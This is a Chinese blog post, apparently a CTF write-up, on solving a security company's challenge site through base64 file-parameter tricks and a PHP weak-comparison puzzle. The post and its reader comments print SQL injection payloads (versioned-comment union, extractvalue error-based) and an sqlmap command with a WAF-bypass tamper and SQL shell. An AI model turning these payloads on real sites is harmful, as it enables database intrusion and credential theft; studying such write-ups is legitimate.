网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

安全宝约宝妹之代码审计题解 - 网站安全 - 自学php网

来源:未知    时间:2015-04-15 13:08 作者:xxadmin 阅读:

[导读] 地址:http://yuebaomei.com/ 如下图 首先咱是男同胞,就选男咯 然后问你为什么现有男人 当然是因为先生啊 此时就要输入答案了,让你在本也中找,打开页面 源码 ,毛都没有 然后打开调...

地址:http://yuebaomei.com/ 


如下图 
a.png 
首先咱是男同胞,就选男咯 

然后问你为什么现有男人 
b.png 

当然是因为先生啊 

此时就要输入答案了,让你在本也中找,打开页面源码,毛都没有 
然后打开调试,在js里面找找 
果然找到了一个暧昧的字符串:wo ai anquanbao 
c.png 

然后输入,果然弄对了。。。 
d.png 

然后就是下一题了,应该是一个图片,但是被限制访问了 
e.png 

这里卡了一下,去找什么绕过工具了,搞了半天不行啊 
然后有打开调试,看到有一个请求: 
http://yuebaomei.com/show.php?p=dGlzaGkucG5n
f.png 

提示了yuehui.png,直接访问这个是不行的 
然后注意到上面那个连接的p参数值,base64解码后是tishi.png 
那么就知道了这个yuehui.png应该是一个最终的图片,我们也base64编码一下 
其实在上面的图片就已经提示你了,yuehui.png了 
http://yuebaomei.com/show.php?p=dGlzaGkucG5n 
http://yuebaomei.com/show.php?p=tishi.png 
http://yuebaomei.com/show.php?p=yuehui.png 
http://yuebaomei.com/show.php?p=eXVlaHVpLnBuZw==

然后访问最后的url: 
http://yuebaomei.com/show.php?p=eXVlaHVpLnBuZw==最后就跳转到了正确的页面了 
g.png 

此时你已经可以和宝妹约会了,嘿嘿~~ 

看到后面还有终极大奖,然后就继续答题,看看是啥大奖。。。 

后面有3中类型的题,我们选代码审计 
h.png 

这里有代码提示: 
http://q5c.yuebaomei.com/ 

$flag = "THIS IS FLAG"; 

if  ("POST" == $_SERVER['REQUEST_METHOD']) 
{ 
$password = $_POST['password']; 
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password)) 
{ 
echo 'Wrong Format'; 
exit; 
} 

while (TRUE) 
{ 
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/'; 
if (6 > preg_match_all($reg, $password, $arr)) 
break; 

$c = 0; 
$ps = array('punct', 'digit', 'upper', 'lower'); 
foreach ($ps as $pt) 
{ 
if (preg_match("/[[:$pt:]]+/", $password)) 
$c += 1; 
} 

if ($c < 3) break; 
if ("42" == $password) echo $flag; 
else echo 'Wrong password'; 
exit; 
} 
} 
?>



这里的意思就是: 
接收post参数password的值 
必须满足12位以上字符 
必须是非空格非TAB之外的内容([:graph:]代表printable and visible的字符,鸟哥书上说是除空格符(空格键与[TAB]键)之外的所有按键) 
然后就是你的password要有大小写数字,字符内容,而且匹配到的次数要大于6次 
最后才是这里的考点: 
if ("42" == $password) echo $flag; 
else echo 'Wrong password';

乍一看这里的password怎么等于42咧,还有人说这写错了。。。 
其实这里使用fuzz就好了,你就让他满足上面的规则慢慢跑就行了 
首先你想到,什么东西能等于42咧? 
我能想到的: 
var_dump("42" == "0x2a"); 
var_dump("42" == "42.0e");

然后第一个试了好几次没成功 
使用第二个 
var_dump("42" == "42.0e0000"); 
var_dump("42" == "42.00e0000"); 
var_dump("42" == "42.00e+"); 
var_dump("42" == "42.00e+00000000000);

ok,最后的答案就是:42.00e+00000000000 
当然也可以这样:420.000000000e-1 
然后们在http://q5c.yuebaomei.com/页面输入上面的答案,得到: 
women ai baomei 
i.png 

看到这个答案也是醉了。。。。 
最后在输入答案women ai baomei就过关了 

j.png 


然后是sql注入和android的题,android的题不会做 
chu牛谁sql注入的可以这样: 
python ./sqlmap.py -u "http://yuebaomei.ztx.io/login" --data "username=admin&password=a" --tamper=modsecurityversioned.py -D test -T users --sql-shell

晚上回去测试的时候,题目已经加固不行了。。。 

大牛们还有啥好技巧放出来,还有其他两个类型的题,已经人做出来了的,来分享一下

分享到:2

 

27 个回复 \ 1#Chu (学习ing。) \ | 2015-02-13 16:51

sql 最开始挺简单的,手测内联注释可以过,然后就直接 tamper 了。后来木有看... 审计的.. 无耻的拉个点击率, http://sh3ll.me/2015/02/12/php-weak-typing/,之前 drops 里有看到.

\ 2#My5t3ry \ | 2015-02-13 16:52

发下我的,php代码审计的
+42.0000000000e0
SQL注入:
username=admin\&password=union/*!50000select*/1,group_concat(username,0x7c,password),3/*!50000from*/users%23

\ 3#Tea (◆冃.狌.交.伖,释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址:wWw. wooyun.Org◆@程序员段子 xSsEr@Wooyun ┋◆冃.狌.交.伖,释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址:zOnE.wooyun.Org◆┋) \ | 2015-02-13 16:53

昨天可以。
username=1',extractvalue(1,concat(0x7e,(select{x password}from{x test.users} where username='admin'))))#&password=111
这样。
http://zone.wooyun.org/content/18601

\ 4#Tea (◆冃.狌.交.伖,释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址:wWw. wooyun.Org◆@程序员段子 xSsEr@Wooyun ┋◆冃.狌.交.伖,释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址:zOnE.wooyun.Org◆┋) \ | 2015-02-13 16:54

@My5t3ry +42.0e000000一路值。。

\ 5#My5t3ry \ | 2015-02-13 17:05

另外那个http://yuebaomei.com/show.php可以读任意文件源码,
show.php/check.php等

\ 6# 回复此人 感谢 My5t3ry \ | 2015-02-13 17:06

 

 $q = $_POST["q"];
  $a = $_POST["a"];

  $pkey_path = "/path/to/rsa/private/key";

  function check_question_number($num)
  {
    $arr = array("1", "2", "3");
    foreach ($arr as $n)
    {
      if (!strcmp($num, $n))
        return TRUE;
    }

    return FALSE;
  }

  $ans = array("answer1", "answer2", "answer3");

  $response = array( "success" => FALSE, "data" => array("code" => "0"), "message" => "" );

  if (NULL == $q or NULL == $a)
  {
    $response["success"] = FALSE;
    $response["message"] = "empty parameter";
  }
  else if (!check_question_number($q))
  {
    $response["success"] = FALSE;
    $response["message"] = "wrong parameter";
  }
  else
  {
    $answer = $ans[$q - 1];
    if (!strcmp($a, $answer))
    {
      $private_key = openssl_pkey_get_private(file_get_contents($pkey_path));
      $strong = TRUE;
      $token = "AQB:" . base64_encode(openssl_random_pseudo_bytes(12, $strong));

      openssl_private_encrypt($token, $verify_code, $private_key);

      $response["success"] = TRUE;
      $response["data"]["code"] = base64_encode($verify_code);
      $response["message"] = "ok";
    }
    else
    {
      $response["success"] = FALSE;
      $response["message"] = "WRONG ANSWER";
    }
  }

  header("Content-Type: application/json");
  echo json_encode($response);
?>

昨天读了check.php开始挺高兴,然后就没有然后了。。。。。。。。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论